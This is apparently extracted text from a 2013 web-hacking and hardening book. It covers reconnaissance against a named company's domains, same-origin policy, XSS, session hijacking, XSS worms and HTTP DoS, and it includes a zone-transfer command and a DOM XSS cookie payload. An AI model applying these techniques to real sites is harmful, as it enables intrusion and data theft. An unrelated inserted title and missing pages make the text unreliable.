This document introduces advanced web hacking techniques and methods for securing websites against attacks. It covers reconnaissance methods like detecting website statistics, IP addresses, subdomains, and server details. It then discusses various attacks like XSS, session hijacking, SQL injection, and ways to bypass web application firewalls. Finally, it provides recommendations for secure website architecture with multi-tier systems and hardening guides for platforms like IIS, Apache, and Tomcat.
KLARNA - Language Models and Knowledge Graphs: A Systems Approach
Advanced web application hacking and exploitation
1. Advanced Web
Application
Hacking &
Exploitation.
D e f e n s i a
2 0 1 3
Rafel Ivgi
This book introduces the most advanced web hacking
techniques. Covering both the common attack
methods and best practice base
d
defense methods.
2. 1 | P a g e
TABLE OF CONTENTS
Advanced Hacking Techniques........................................................................................................ 7
Reconnaissance ........................................................................................................................... 7
Detecting website Statistics & Reputation.............................................................................. 7
Collect Contact information for Email attacks & Social Engineering ...................................... 8
Detecting website/company IP Blocks, Net-name, ISP/Autonomous System........................ 8
Detecting Sub Domains ......................................................................................................... 12
Detecting Web Server Type & Version.................................................................................. 15
Digging into the Past.............................................................................................................. 18
Detecting Virtual Hosts.......................................................................................................... 19
Detecting Hidden Files & Directories .................................................................................... 23
Detecting CGI Platforms ........................................................................................................ 26
Protecting against Google Hacking........................................................................................ 27
The "Same Origin" security policy............................................................................................. 28
XSS – Cross-Site-Scripting.......................................................................................................... 32
Introduction........................................................................................................................... 32
Reflected XSS (Type I)............................................................................................................ 32
Permanent (Stored) XSS ........................................................................................................ 33
DOM XSS................................................................................................................................ 33
System Functionality Automation............................................................................................. 35
XSS-Shell ................................................................................................................................ 35
Session Hi-Jacking...................................................................................................................... 35
XSS Attack Vector .................................................................................................................. 35
The Man-In-The-Middle Attack Vector.................................................................................. 36
Common Web Application Vulnerabilities and Pitfalls ............................................................. 42
Session ID in URL .................................................................................................................. 42
Exposing Full Server Version Information ............................................................................. 42
Bypassing Filters.................................................................................................................... 43
Blind SQL Injection or Imperva Error?................................................................................... 43
3. 2 | P a g e
Scary doesn’t mean safe:....................................................................................................... 46
Connecting User Approachable Files to Web Direcrtory....................................................... 65
Sharing Encrypted Files ......................................................................................................... 67
Exploiting the client............................................................................................................... 68
Browser, Plugins & OS Exploits.............................................................................................. 68
XSS Worms............................................................................................................................. 68
The Future of SPAM............................................................................................................... 69
D.o.S attacks.......................................................................................................................... 70
Information Gathering........................................................................................................... 71
Automated exploiting bots.................................................................................................... 71
High Level Distributed Denial of Service ............................................................................... 72
Dynamic Generation of Obfuscated JavaScript..................................................................... 76
Malware Script Detector ....................................................................................................... 76
Phishing ..................................................................................................................................... 77
Frameset Based Phishing....................................................................................................... 77
Cross Frame Phishing............................................................................................................. 77
Preset Session Phishing (Combined With a later Session Hi-Jacking) ................................... 78
XSS Based Phishing................................................................................................................ 80
XSS AJAX Phishing - "Frameless Phishing"............................................................................. 80
HTML5 ....................................................................................................................................... 81
Cross Domain/Origin Requests (CDR, COR)........................................................................... 81
Web Messaging - Cross Frame/Window Messaging............................................................. 88
Cookie/Repository User Tracking.......................................................................................... 89
User TraceBack Techniques................................................................................................... 91
MAC ADDRESS Detection Of All Network Interfaces via JAVA.............................................. 92
XSS + Browser Location Services ........................................................................................... 93
Web Application Firewalls......................................................................................................... 96
Detecting Web Application Firewalls .................................................................................... 96
Bypassing Web Application Firewalls.................................................................................... 99
HTTP Parameter Pollution (HPP)........................................................................................... 99
Examples:............................................................................................................................. 100
4. 3 | P a g e
Circumvention of default WAF filtering mechanisms ......................................................... 102
CSRF/XSRF – Cross Site Request Forgery................................................................................. 111
GET Based CSRF................................................................................................................... 111
Post Based CSRF .................................................................................................................. 113
Advanced CSRF Attacks with AJAX ...................................................................................... 114
Tab-Nabbing ............................................................................................................................ 115
ClickJacking.............................................................................................................................. 115
Prevention ........................................................................................................................... 116
Server-side needing client support ..................................................................................... 119
Interface Spoofing ................................................................................................................... 119
Another Example, JAD files in BlackBerry............................................................................ 122
Advanced Directory Traversal Attacks .................................................................................... 125
Canonicalization .................................................................................................................. 125
Designing a Brute-Force Resistant Application ....................................................................... 127
Hacking Web Servers................................................................................................................... 128
Components of a generic web application system ................................................................. 128
URL mappings to the web application system ........................................................................ 129
Flowchart for a one-way web hack ......................................................................................... 130
Finding the entry point............................................................................................................ 131
Exploiting poorly validated input parameters..................................................................... 132
Exploiting SQL injection....................................................................................................... 133
Invoking the command interpreter..................................................................................... 133
Posting commands to CMD.EXE.......................................................................................... 133
Posting commands to /bin/sh ............................................................................................. 134
Automating the POST process............................................................................................. 136
Output of post_cmd.pl ........................................................................................................ 136
Web based command prompt............................................................................................. 138
Perl - perl_shell.cgi .............................................................................................................. 139
ASP - cmdasp.asp................................................................................................................. 140
PHP - sys.php....................................................................................................................... 142
JSP - cmdexec.jsp................................................................................................................. 142
5. 4 | P a g e
Installing the Web based command prompt....................................................................... 143
Re-creating arbitrary binary files......................................................................................... 144
File uploader............................................................................................................................ 145
ASP - upload.asp and upload.inc ......................................................................................... 145
Perl - upload.cgi................................................................................................................... 146
PHP - upload.php................................................................................................................. 147
One-Way Privilege Escalation.................................................................................................. 147
Secure Website Architecture....................................................................................................... 152
Multi-tier architecture............................................................................................................. 152
Secure Domains and Subdomain separation .......................................................................... 154
Creating Cookies.................................................................................................................. 154
Managing Multiple Cookie for Multiple Authentication/Permission Levels........................... 155
Working Securely with User HTML content ............................................................................ 155
Examples:............................................................................................................................. 155
Securing IIS 7/7.5 + Microsoft SQL Server 2008...................................................................... 156
IIS Dynamic IP Restrictions Module: The mod_evasive of IIS.............................................. 156
Hardening IIS SSL with IISCrypto – Disabling Weak Ciphers................................................ 157
Hardening IIS 7.5 on Windows 2008 Server R2 SP1 ............................................................ 158
Securing Apache...................................................................................................................... 162
Apache Hardening ............................................................................................................... 162
Mod_Evasive – Anti-D.O.S Apache Module ........................................................................ 163
Mod_Security – An OpenSource Web Application Firewall................................................ 164
Disabling Dangerous HTTP Verbs ........................................................................................ 166
Disable TRACE Method........................................................................................................ 167
Rewrite Against TRACE/TRACK............................................................................................ 167
Rewrite Get, Head & Post as a Whitelist............................................................................. 167
Define Server Hostname ......................................................................................................... 167
Mail Username root exposes Linux Usage .............................................................................. 167
Remove Script Aliases for unused directories (such as cgi-bin…) ........................................... 167
Tomcat Hardening................................................................................................................... 171
Tomcat: Manager Application............................................................................................. 171
6. 5 | P a g e
Tomcat: Realms................................................................................................................... 171
Tomcat: Realms Details....................................................................................................... 171
Tomcat: Realms Issues & History ........................................................................................ 172
Tomcat: System properties ................................................................................................. 172
Tomcat: Miscellaneous........................................................................................................ 172
Tomcat: Passwords.............................................................................................................. 172
Webapps: Authentication: .................................................................................................. 173
Webapps: SSL: ..................................................................................................................... 173
Webapps: context.xml......................................................................................................... 173
Webapps: Miscellaneous..................................................................................................... 174
Policy & Process................................................................................................................... 174
Tomcat Session ID default name modification: ...................................................................... 174
Tomcat session HTTPOnly flag: ............................................................................................... 174
Tomcat – Change Server Banner:............................................................................................ 175
Tomcat – Change Tomcat Port to Listen Only Internally: ....................................................... 175
Tomcat – Disable The HTTP Verb Trace: ................................................................................. 175
Tomcat – Define an index page:.............................................................................................. 176
Tomcat – One single custom error page for all errors: ........................................................... 176
In:......................................................................................................................................... 177
Change/Add the following:.................................................................................................. 177
Add generalerror.jsp with: .................................................................................................. 178
Tomcat – Remove Tomcat Example Scripts: ....................................................................... 179
Tomcat – Remove Tomcat Manager application: ............................................................... 180
SELinux – Optional Hardening:................................................................................................ 180
SELinux Apache Hardening.................................................................................................. 180
SELinux for other services (Experts Only)................................................................................ 180
Enable Hardened HTTP........................................................................................................ 180
Learning from your Log files................................................................................................ 181
Virtual Machine Platforms....................................................................................................... 184
Java Security........................................................................................................................ 184
Flash Security....................................................................................................................... 188
7. 6 | P a g e
Flash 9 AS3 TCP-Portprober ................................................................................................ 210
DotNet Applet Security........................................................................................................ 220
8. 7 | P a g e
Advanced Hacking Techniques
Reconnaissance
Detecting website Statistics & Reputation
9. 8 | P a g e
Collect Contact information for Email attacks & Social Engineering
Detecting website/company IP Blocks, Net-name, ISP/Autonomous System
10. 9 | P a g e
Detecting all the different IPs of the host
11. 10 | P a g e
Detecting if it appears in Blacklists
16. 15 | P a g e
sdcsmtpx.hp.com, serviceportal.hp.com, sgp.hp.com, shopping.hp.com, smtp.hp.com,
smtp1.hp.com, smtpx.hp.com, ssr.hp.com, svk.hp.com, sweden.hp.com, sync.hp.com,
tay.hp.com, testdrive.hp.com, thebook.hp.com, trce.hp.com, uksr.hp.com, usa.hp.com,
ussmtp.hp.com, webmail.hp.com, welcome.hp.com, www.hp.com, www1.hp.com,
www2.hp.com, www3.hp.com, www4.hp.com, www7.hp.com, zipcode.hp.com
Detecting Web Server Type & Version
httprint is a web server fingerprinting tool. It relies on web server characteristics to
accurately identify web servers, despite the fact that they may have been obfuscated
by changing the server banner strings, or by plug-ins such as mod_security or
servermask. httprint can also be used to detect web enabled devices which do not
have a server banner string, such as wireless access points, routers, switches, cable
modems, etc. httprint uses text signature strings and it is very easy to add
signatures to the signature database.
Features
Identification of web servers despite the banner string and any other
obfuscation. httprint can successfully identify the underlying web servers
when their headers are mangled by either patching the binary, by modules
such as mod_security.c or by commercial products such as ServerMask.
Click here to see an example of how httprint detects disguised servers.
Inventorying of web enabled devices such as printers, routers, switches,
wireless access points, etc. Click on the sample HTML report.
Customizable web server signature database. To add new signatures, simply
cut and paste the httprint output against unknown servers into the signatures
text file.
Confidence Ratings. httprint now picks the best matches based on confidence
ratings, derived using a fuzzy logic technique, instead of going by the highest
weight. More details on the significance of confidence ratings can be found in
section 8.4 of the Introduction to HTTP fingerprinting paper.
httprint v301 win32 GUI (click image to enlarge)
17. 16 | P a g e
sample HTML report (click on image to enlarge)
18. 17 | P a g e
httprint detecting disguised web servers (click on image for details)
20. 19 | P a g e
Detecting Virtual Hosts
Using Hostmap
Hostmap is to enumerate all the virtual hosts and DNS names of an
IP address, and do this in the fastest and detailed way.
To achieve this hostmap uses a lot of techniques, some never used by any other tool, combined
with development technologies to get the best performances.
Features
• DNS names and virtual host enumeration
• Multiple discovery techniques
• Results correlation, aggregation and normalization
• Multi thread and event based engine
• Platform independent: hostmap an run on GNU/Linux, Microsoft Windows, Apple OSX
and in any system where Ruby works.
21. 20 | P a g e
Techniques
To enumerate all the alias of a target machine hostmap uses a lot of techniques
Based on protocols, exposed services, target weakness, target vulnerabilities, brute forcing
techniques, public databases and search engines that an reveal a target's alias.
The data are fetched at run time from this data sources using multi thread engine to speed up
the fetching phase. All data fetched being aggregated, normalized, correlated and the results are
Checked at run time to avoid false positives. The hostmap engine is based on the knowledge of
event; each enumeration action can get results, based on type of enumeration action and the
type of the results hostmap dynamically choose the next action to take and the next
enumeration check to launch. Hostmap uses an adaptive engine written to get much more
results possible.
The techniques used by hostmap are the following.
DNS enumeration techniques
The following enumeration techniques are based on the DNS protocol and are:
• Reverse DNS lookup Performs a PTR request to get the host name from IP address.
• Name servers record lookup Get the authoritative name server for each domain enumerated
on the target host.
• Mail exchange record lookup Get the MX records for each domain enumerated on the target
host.
• DNS AXFR zone transfer
The name server that serves the target machine's domain zone can be prone to a zone transfer
vulnerability. This allow an attacker to perform a AXFR zone transfer and get a dump of the
complete DNS zone, so all records, served by this name server. The AXFR vulnerability can
already simply be checked with dig utility. For example if we want to check the DNS server
1.2.3.4, authoritative name server for domain foo.com.
We can do it with the following syntax and if you get an output like that the DNS server is
vulnerable.
$ dig -t axfr 1.2.3.4 foo.com
; <<>> DiG 9.6.1-P2 <<>> -t axfr 1.2.3.4 foo.com
; (1 server found)
;; global options: + cmd
22. 21 | P a g e
foo.com. 38400 IN SOA ns1.foo.com. admin.foo.com. 2006081401 28800 3600 604800
38400 foo.com. 38400 IN NS 127.0.0.1.foo.com.
foo.com. 38400 IN MX 10 mta.foo.com.
mta.foo.com. 38400 IN A 192.168.0.3
ns1.foo.com. 38400 IN A 127.0.0.1
www.foo.com. 38400 IN A 192.168.0.2
foo.com. 38400 IN SOA ns1.foo.com. admin.foo.com. 2006081401 28800 3600 604800
38400
;; Query time: 0 mse
;; SERVER: 1.2.3.4#53(1.2.3.4)
;; WHEN: Wed De
23 15:27:24 2009
;; XFR size: 7 re
cords (messages 1, bytes 207)
• Host name brute-forcing
Using a brute-forcing tries to guess can host name on the enumerated domain that resolve as
the target IP address. For example if the do-main foo.com has been enumerated the host
name brute-forcer will check for third level names like: www.foo.com, www1.foo.com,
db.foo.com and whatever word listed in the dictionary used.
• DNS TLD expansion
Use a brute-forcing of top level domain part for already enumerated domain. For example, if
the domain foo.com has been enumerated the TLD expansion or TLD brute-forcing plugin will
check for different TLD for the same domain like: foo.org, foo.net, foo.it and whatever TLD
listed in the TLD dictionary.
SSL/TLS Protocol enumeration techniques
The following enumeration techniques are based on the SSL/TLS protocol and are:
• X.509 Certificate Parsing Sometimes the target machine can publish some HTTPS
services.
23. 22 | P a g e
A connection is tried to the common HTTP and HTTPS service ports and is tried to
negotiate an SSL/TLS connection, if the remote server supply a X.509 certificate the host
name is taken from the issuer and subject
Common Name (CN) eld and from alternate subject extension eld.
4.2.3 Passive web enumeration techniques
The following enumeration techniques are based on third party web sites and public databases.
• Search engines
The following search engines are used:
Microsoft Bing (with and without search API): http://search.msn.com
It's suggested to use this with API key which improves the amount of results fetched and the
plugin speed.
• GPG/PGP key databases
The following public databases are used:
MIT GPG key server: http://pgp.mit.edu:11371
• DNS/WHOIS databases
Public WHOIS information database, like RIPE, or DNS snapshot database are used to passively
enumerate host name and track his history.
The following public databases are used:
DNShistory: http://dnshistory.org
Domainsdb: http://www.domainsdb.net/
Fbk.de: http://www.bfk.de/
Gigablast: http://www.gigablast.com
Netcraft: http://searhdns.netcraft.com
Robtex: http://www.robtex.com
Tomdns: http://www.tomdns.net
Web-max: http://www.web-max.ca
Usage You can use hostmap from command line interface with following:
ruby hostmap.rb OPTIONS -t TARGET
24. 23 | P a g e
Where TARGET is the IP address of the host against you want a host discovery and OPTIONS is a
list of hostmap's options.
Detecting Hidden Files & Directories
Dir Buster – Remote Hidden File and Directory Discovery Tool
Features
DirBuster provides the following features:
Multi-threaded has been recorded at over 6000 requests/sec
Works over both http and https
Scan for both directory and files
Will recursively scan deeper into directories it finds
Able to perform a list based or pure brute force scan
DirBuster can be started on any directory
Custom HTTP headers can be added
Proxy support
Auto switching between HEAD and GET requests
Content analysis mode when failed attempts come back as 200
Custom file extensions can be used
Performance can be adjusted while the program in running
Supports Basic, Digest and NTLM auth
Command line * GUI interface
DirBuster is a multi-threaded java application designed to brute force directories and files
names on web/application servers. Often is the case now of what looks like a web server in a
state of default installation is actually not, and have pages and applications hidden within.
DirBuster attempts to find these.
However tools of this nature are often as only good as the directory and file list they come with.
A different approach was taken to generating this. The list was generated from scratch, by
crawling the Internet and collecting the directory and files that are actually used by developers!
DirBuster comes a total of 9 different lists (Further information can be found below), this makes
DirBuster extremely effective at finding those hidden files and directories. And if that was not
enough DirBuster also has the option to perform a pure brute force, which leaves the hidden
directories and files nowhere to hide! If you have the time ;)
The DirBuster Lists
DirBuster comes with a set of unique directory and files lists, these have been generated based
on the file and directory names that are actually used by developers on internet sites. The order
25. 24 | P a g e
of the lists is based on the frequency of the item found. Therefore the most common items
appear at the top. These lists are what make DirBuster.
NOTE: It will come as no surprise to you all that the internet is full of porn, thus it not surprising
that the spider used to generate the lists visited a few along the way. Thus there are explicit
words contained within the lists. My stand point on this is simple, this tool was designed to use
as part of legitimate security testing, and if there are directories/files based on explicit words,
clients would want to know!!
The following lists are included with DirBuster, or as a separate download:
directory-list-2.3-small.txt - (87650 words) - Directories/files that where found on at least 3
different hosts
directory-list-2.3-medium.txt - (220546 words) - Directories/files that where found on at least 2
different hosts
directory-list-2.3-big.txt - (1273819 words) - All directories/files that where found
directory-list-lowercase-2.3-small.txt - (81629 words) - Case insensitive version of directory-list-
2.3-small.txt
directory-list-lowercase-2.3-medium.txt - (207629 words) - Case insensitive version of directory-
list-2.3-medium.txt
directory-list-lowercase-2.3-big.txt - (1185240 words) - Case insensitive version of directory-list-
2.3-big.txt
directory-list-1.0.txt - (141694 words) - Original unordered list
apache-user-enum-1.0.txt - (8916 usernames) - Used for guessing system users on apache with
the userdir module enabled, based on a username list I had lying around (unordered)
apache-user-enum-2.0.txt - (10341 usernames) - Used for guessing system users on apache with
the userdir module enabled, based on ~XXXXX found during list generation (Ordered)
27. 26 | P a g e
Detecting CGI Platforms
While researching a website against vulnerabilities, one of the first steps is to write a script to
remotely detect the mapped CGI-extensions PER DISCOVERED FOLDER.
The most common CGI types are:
1. PHP
2. ASP
3. ASPX
4. JSP
5. CFM
6. PY
7. RB
Detecting the used CGI platforms is critical in order to plan the right attack against the server.
28. 27 | P a g e
Protecting against Google Hacking
1. Keep your sensitive data off the web!
Even if you think you’re only putting your data on a web site temporarily, there’s a
good chance that you’ll either forget about it, or that a web crawler might find it.
Consider more secure ways of sharing sensitive data such as SSH/SCP or
encrypted email.
2. Use meta headers at non-public pages
Valid meta robots content values:
Googlebot interprets the following robots meta tag values:
NOINDEX - prevents the page from being included in the index.
NOFOLLOW - prevents Googlebot from following any links on the page. (Note
that this is different from the link-level NOFOLLOW attribute, which prevents
Googlebot from following an individual link.)
NOARCHIVE - prevents a cached copy of this page from being available in the
search results.
NOSNIPPET - prevents a description from appearing below the page in the
search results, as well as prevents caching of the page.
NOODP - blocks the Open Directory Project description of the page from being
used in the description that appears below the page in the search results.
NONE - equivalent to "NOINDEX, NOFOLLOW".
<META NAME="ROBOTS" CONTENT="NONE">
3. Googledork!
• Use the techniques outlined in this paper to check your own site for
sensitive information or vulnerable files.
• Use gooscan from http://johnny.ihackstuff.com) to scan your site for bad
stuff, but first get advance express permission from Google! Without
advance express permission, Google could come after you for violating
their terms of service. The author is currently not aware of the exact
implications of such a violation. But why anger the “Goo-Gods”?!?
• Check the official googledorks website (http://johnny.ihackstuff.com) on a
regular basis to keep up on the latest tricks and techniques.
4. Consider removing your private sites from Google’s index.
The Google webmaster FAQ located at http://www.google.com/webmasters/
provides invaluable information about ways to properly protect and/or expose
29. 28 | P a g e
your site to Google. From that page:
“Please have the webmaster for the page in question contact us with proof that
he/she is indeed the webmaster. This proof must be in the form of a root level
page on the site in question, requesting removal from Google. Once we receive
the URL that corresponds with this root level page, we will remove the offending
page from our index.”
In some cases, you may want to rome individual pages or snippets from Google’s
index. This is also a straightforward process which can be accomplished by
following the steps outlined at http://www.google.com/remove.html.
5. Use a robots.txt file.
Web crawlers are supposed to follow the robots exclusion standard found at
http://www.robotstxt.org/wc/norobots.html. This standard outlines the procedure
for “politely requesting” that web crawlers ignore all or part of your website. I
must note that hackers may not have any such scruples, as this file is certainly a
suggestion. The major search engine’s crawlers honor this file and it’s contents.
For examples and suggestions for using a robots.txt file, see the above URL on
robotstxt.org.
The "Same Origin" security policy
The Document.domain property
Can’t get but can set
The document.domain exception
Example
IE exceptions to Same Origin policy
Summary
The “Same Origin” policy limits the access of one window to another.
The reason behind that is security. If you have blabla.com in one window and gmail.com in
another one, then you’d not want a script from blabla.com to access or modify your mail or run
actions in context of gmail on your behalf.
The essence of the Same Origin policy can be formulated as: windows can work in contexts of
each other only if they are from same protocol://domain:port, or, shortly, from same origin.
These are from same origin:
http://site.com
30. 29 | P a g e
http://site.com/
http://site.com/my/page.html
These come from another origin:
http://www.site.com (another domain)
http://site.org (another domain)
https://site.com (another protocol)
http://site.com:8080 (another port)
Demo
Let’s see what happens if we try to access a forbidden window:
<iframe src="http://google.com" name="google" style="height:100px"></iframe>
<script>
document.getElementsByName('google')[0].onload = function() {
try {
alert(frames[0].location);
} catch(e) {
alert("Error: "+e)
}
</script>
Run the example above. It gives error, because it is not allowed to get a property from the
window from another domain.
Can’t get but can set
The important fact is that it is not allowed to read from another origin, but some properties
are writable. The most notable one is location.
From the example above we’ve seen that browser protects location of the window from
different origin from being red. But we can set it:
<iframe src="http://google.com" name="google" style="height:100px"></iframe>
<script>
31. 30 | P a g e
document.getElementsByName('google')[0].onload = function() {
frames[0].location = 'http://wikipedia.org'
alert('Changed to wikipedia')
}
</script>
The example above, when run, will change the location.
Note, changing location.href will not work, because there is no read access
to location properties. Only direct set works.
The document.domain exception
Another important exception for the Same Origin policy is third-level domains.
Say, we’ve got a window at a http://site.com and two iframes: the first comes from
http://john.site.com, and another one comes from http://peter.site.com.
All of them can assign document.domain property to site.com, and then the same origin
restrictions will be removed.
Note two important features:
The new document.domain value must be within the same second level domain.
You can change document.domain='site.com' on the page originating from my.site.com, but
can’t do it if the page is at another.org.
The document.domain should be assigned on all windows, including the main one. Even if the
domain is already site.com, you still need to assign it: document.domain=document.domain will
do.
Example
The example below loads two frames from subdomains:
<iframe src="http://a.defensia.co.il/window/a.html" name="a"style="height:40px"></iframe>
<iframe src="http://b.defensia.co.il/window/b.html" name="b"style="height:40px"></iframe>
<script>
32. 31 | P a g e
function work() {
alert('work at ' + location.host)
}
document.domain = document.domain
</script>
By clicking on buttons, you can call methods from the parent or another frame.
Both iframes assign document.domain=’defensia.co.il'. That’s why they can call each other.
<script>
function work() {
alert('work at ' + location.host)
}
document.domain = “hp.com”;
</script>
<input type="button" value="parent.work()" onclick="parent.work()">
<input type="button" value="parent.frames.b.work()"onclick="parent.frames.b.work()">
So, the document.domain allows different 3rd level domains to communicate with each other
and with their common 2nd level domain.
IE exceptions to Same Origin policy
Internet Explorer poses two major exceptions.
The first one are so called “Trust Zones”. If both domains are in highly trusted zone, e.g both are
corporate domains, then the Same Origin limitation is lifted completely.
The second one is port. Internet Explorer doesn’t include port into Same Origin components,
hence the http://site.com and http://site.com:8080 are considered from the same origin and no
restrictions are applied.
The exceptions described above are non-standard and not supported in any of other major
browsers.
33. 32 | P a g e
Summary
The Same Origin policy allows one window to access properties/functions of another one only if
they come from same protocol, same port, same domain.
XSS – Cross-Site-Scripting
Introduction
• XSS is a vulnerability which exists on the server side, but poses a risk only for the
server’s clients
• The “attack” occurs when a web server replies the user with the exact raw data received
from the user at a certain point in time.
Reflected XSS (Type I)
• In order to exploit the vulnerability:
– the attacker supplies the user with a link
– once clicked, the user sends data to the server
– the server replies it
– the browser executes it
• The attacker may send malicious JS code that will execute in the context of the given
site.
• This code is able to:
– Exploit the browser
– Steal cookies
– Perform GET and POST requests using the user`s credentials
– Perform content spoofing attacks
– Deface the site
34. 33 | P a g e
Permanent (Stored) XSS
• Another vector of this attack is called “Stored XSS”, unlike the previous vector. In this
attack there is no need to navigate the user to a specially crafted URL.
• This attack requires the attacker to find a permanent place within the application that
can store his code, for example:
blog`s comments
user`s profile settings
Etc…
DOM XSS
DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack
payload is executed as a result of modifying the DOM “environment” in the victim’s browser
used by the original client side script, so that the client side code runs in an “unexpected”
manner. That is, the page itself (the HTTP response that is) does not change, but the client side
code contained in the page executes differently due to the malicious modifications that have
occurred in the DOM environment.
This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed
in the response page (due to a server side flaw).
35. 34 | P a g e
Example
Suppose the following code is used to create a form to let the user choose his/her preferred
language. A default language is also provided in the query string, as the parameter “default”.
…
Select your language:
<select><script>
document.write("<OPTION
value=1>"+document.location.href.substring(document.location.href.index
Of("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
…
The page is invoked with a URL such as:
http://www.some.site/page.html?default=French
A DOM Based XSS attack against this page can be accomplished by sending the following URL to
a victim:
http://www.some.site/page.html?default=<script>alert(document.cookie)</
script>
Testing Tools and Techniques
1. The DOMinator Tool - A FireFox based plugin that helps testers identify and verify
DOM based XSS flaws
See: http://code.google.com/p/dominator/
36. 35 | P a g e
2. The DOM XSS Wiki - The start of a Knowledgebase for defining sources of attacker
controlled inputs and sinks which could potentially introduce DOM Based XSS issues.
Its very immature as of 11/17/2011. Please contribute to this wiki if you know of
more dangerous sinks and/or safe alternatives!!
See: http://code.google.com/p/domxsswiki/
3. DOM Snitch - An experimental Chrome extension that enables developers and
testers to identify insecure practices commonly found in client-side code. From
Google.
See: http://code.google.com/p/domsnitch/
System Functionality Automation
XSS-Shell
• XSS-Shell is an attack platform designed to be launched from an XSS vector.
• The usage of this platform is as following:
1. The attacker sends the user a link referring to a vulnerable site
2. Upon clicking this link the client`s browser runs the JS code of the XSS-Shell
platform
3. This code hijacks the browser and starts receiving commands from the server
4. The attacker can send new commands that will be evaluated in the client`s
browser as long as this attack is active
5. The client can stop the attack in two ways:
a. Manually navigate to the different site using the navigation bar
b. Closing the browser completely
Session Hi-Jacking
XSS Attack Vector
The attack flow:
1. The attacker finds an XSS vulnerability in the server/website/web application
2. The attacker creates an encoded URL attack string to decrease suspicion level
3. The attacker spreads the link to a targeted victim or to a distribution list
4. The victim logs into the web application, clicks the link
5. The attacker’s code is executed under the victims credentials and sends the unique
session identifier to the attacker
37. 36 | P a g e
6. The attacker plants the unique session identifier in his browser and is now connected to
the system as the victim
The Man-In-The-Middle Attack Vector
• Taking over an active session to a computer system
• In order to attack the system, the attacker must know the protocol/method being used
to handle the active sessions with the system
• In order to attack the system, the attacker must achieve the user’s session identifier
(session id, session hash, token, IP)
• The most common use of Session Hi-jacking revolves around textual protocols such as
the HTTP protocol where the identifier is the ASPSESSID/PHPSESSID/JSESSION
parameter located HTTP Cookie Header aka “The Session Cookie”
• Most common scenarios of Session Hi-Jacking is done with combination with:
• XSS - Where the session cookie is read by an attacker’s JavaScript code
• Man-In-The-Middle – Where the cookie is sent over clear-text HTTP through the
attacker’s machine, which becomes the victim’s gateway
43. 42 | P a g e
Common Web Application Vulnerabilities and Pitfalls
Session ID in URL
Never Transfer the Session ID in the URL, as it is saved in the user’s browser history, in the
server’s access log and can be stolen via JavaScript from document.referer
Exposing Full Server Version Information
44. 43 | P a g e
Bypassing Filters
Bypassing Filters – Sometimes you Post, Sometimes you Get
Blind SQL Injection or Imperva Error?
59. 58 | P a g e
Exposing A large scale of Email Addresses (A policy/design decision, High Success Rate
Of Email Attacks)
60. 59 | P a g e
People Change Positions, but NOT EMAIL ADDRESSES
Reflecting Values assumed to be safe by CLIENT SIDE VALIDATION, such as email
address pattern:
65. 64 | P a g e
Disclosing Source Code
Directory Listing
ftp://www.hp.com/pub/neoware/jstream/cgi-bin/
66. 65 | P a g e
Connecting User Approachable Files to Web Direcrtory
Exposing sources and creating risk of file execution after upload
ftp://www.hp.com/pub/neoware/jstream/cgi-bin/registrierung.cgi
68. 67 | P a g e
Intersecting FTP Folders to HTTP Folders:
Sharing Encrypted Files
Sharing Encrypted Files Can be downloaded and cracked with the right amount of computing power
69. 68 | P a g e
Exploiting the client
Browser, Plugins & OS Exploits
XSS Worms
• In the age of social networks and mash web sites, a single XSS attack in a major site can
be turned into an army of computers, just waiting for commands from the attacker.
70. 69 | P a g e
• Using the power of JS code there is even no need to try and exploit the browser. Most
uses of Bot-nets today are D.O.S and SPAM attacks.
The Future of SPAM
• While SPAM attacks are still hard to launch using JS, there are several ways attackers
use to achieve this goal.
• Mime injections is an uprising attack that allows an attacker to inject text into the mime
headers of an outgoing mail and change the values of those headers before being sent.
• The vulnerability is mostly common in “Contact Us” forms which lack input validation on
fields such as:
– From
– To
– Subject
– Date and so on…
• Correct usage of this vulnerability will allow the attacker to craft their own email and
send it to their victims using the vulnerable third party site.
• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the
sender’s domain.
• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to
produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
• Correct usage of this vulnerability will allow the attacker to craft their own email and
send it to their victims using the vulnerable third party site.
• This method of SPAM will also bypass the “Secure Domain Tokens” that validates the
sender’s domain.
• The attacker can use a XSS worm to take advantage of such Inject-able sites in order to
produce a SPAM network with no Trojan Horses or any kind of backdoor tools.
71. 70 | P a g e
D.o.S attacks
• D.o.S attacks are fairly easy to deploy.
• Consider a XSS worm on Facebook.com
• Every user that logs in will get a command from the server.
• This command will cause the browser to send a Post request to CNN.com
• Considering the amount of users Facebook has simultaneously, CNN will be down within
a few minutes.
72. 71 | P a g e
Information Gathering
Beyond malicious attacks on third party sites, the attacker may use their worm to gather
sensitive information from their victims
• The attacker can harvest the following details using the XSS alone:
– Password (using a perfect phishing attack)
– Name
– Age
– Email
– Friend list (that will also be attacked to become future victims)
Automated exploiting bots
Another usage of an XSS worm is to automatically scan and exploit other vulnerabilities. In order
to achieve this goal the attacker needs to exploit one of the victim`s browser and execute a
backdoor that will act as the server. The server will then be used by all the other victims or,
“Fetchers”. The Fetchers will send a request to the server asking for a new list to attack. The
server will then use Google or any other search engine to get a list of sites that suit the attack
and return it to the fetcher. The fetcher now asks the server for the content of a certain site on
the list. Once the value returns, the fetcher parse out the inner link from this page. This is where
the user starts to actively participate in the attack:
• The worm’s JavaScript code running on each user’s machine blindly sends a generic
attack request/string/code to the targets/links retrieved by the fetcher with known
vulnerabilities such as SQL Injections.
73. 72 | P a g e
• For each pattern found, the fetcher tries to exploit the machine using preset values.
• Successful exploitations will cause the attacked machine to report itself to the attacker
thus entering to the attack circle.
• This may have a low ratio of success but when talking about an XSS Worm in the
sufficient magnitude and considering the fact that this process is fully automatic the
result is highly satisfying for the attacker
• The fetcher checks for patterns on those links for known vulnerabilities such as SQL
Injections.
• For each pattern found, the fetcher tries to exploit the machine using preset values.
• Successful exploitations will cause the attacked machine to report itself to the attacker
thus entering to the attack circle.
• This may have a low ratio of success but when talking about an XSS Worm in the
sufficient magnitude and considering the fact that this process is fully automatic the
result is highly satisfying for the attacker
High Level Distributed Denial of Service
R-U-Dead-Yet
R-U-Dead-Yet, or RUDY for short, implements the generic HTTP DoS attack via long form field
submissions. More technical details about layer-7 DDoS attacks can be found in this OWASP
lecture:
This tool runs with an interactive console menu, automatically detecting forms within given URL,
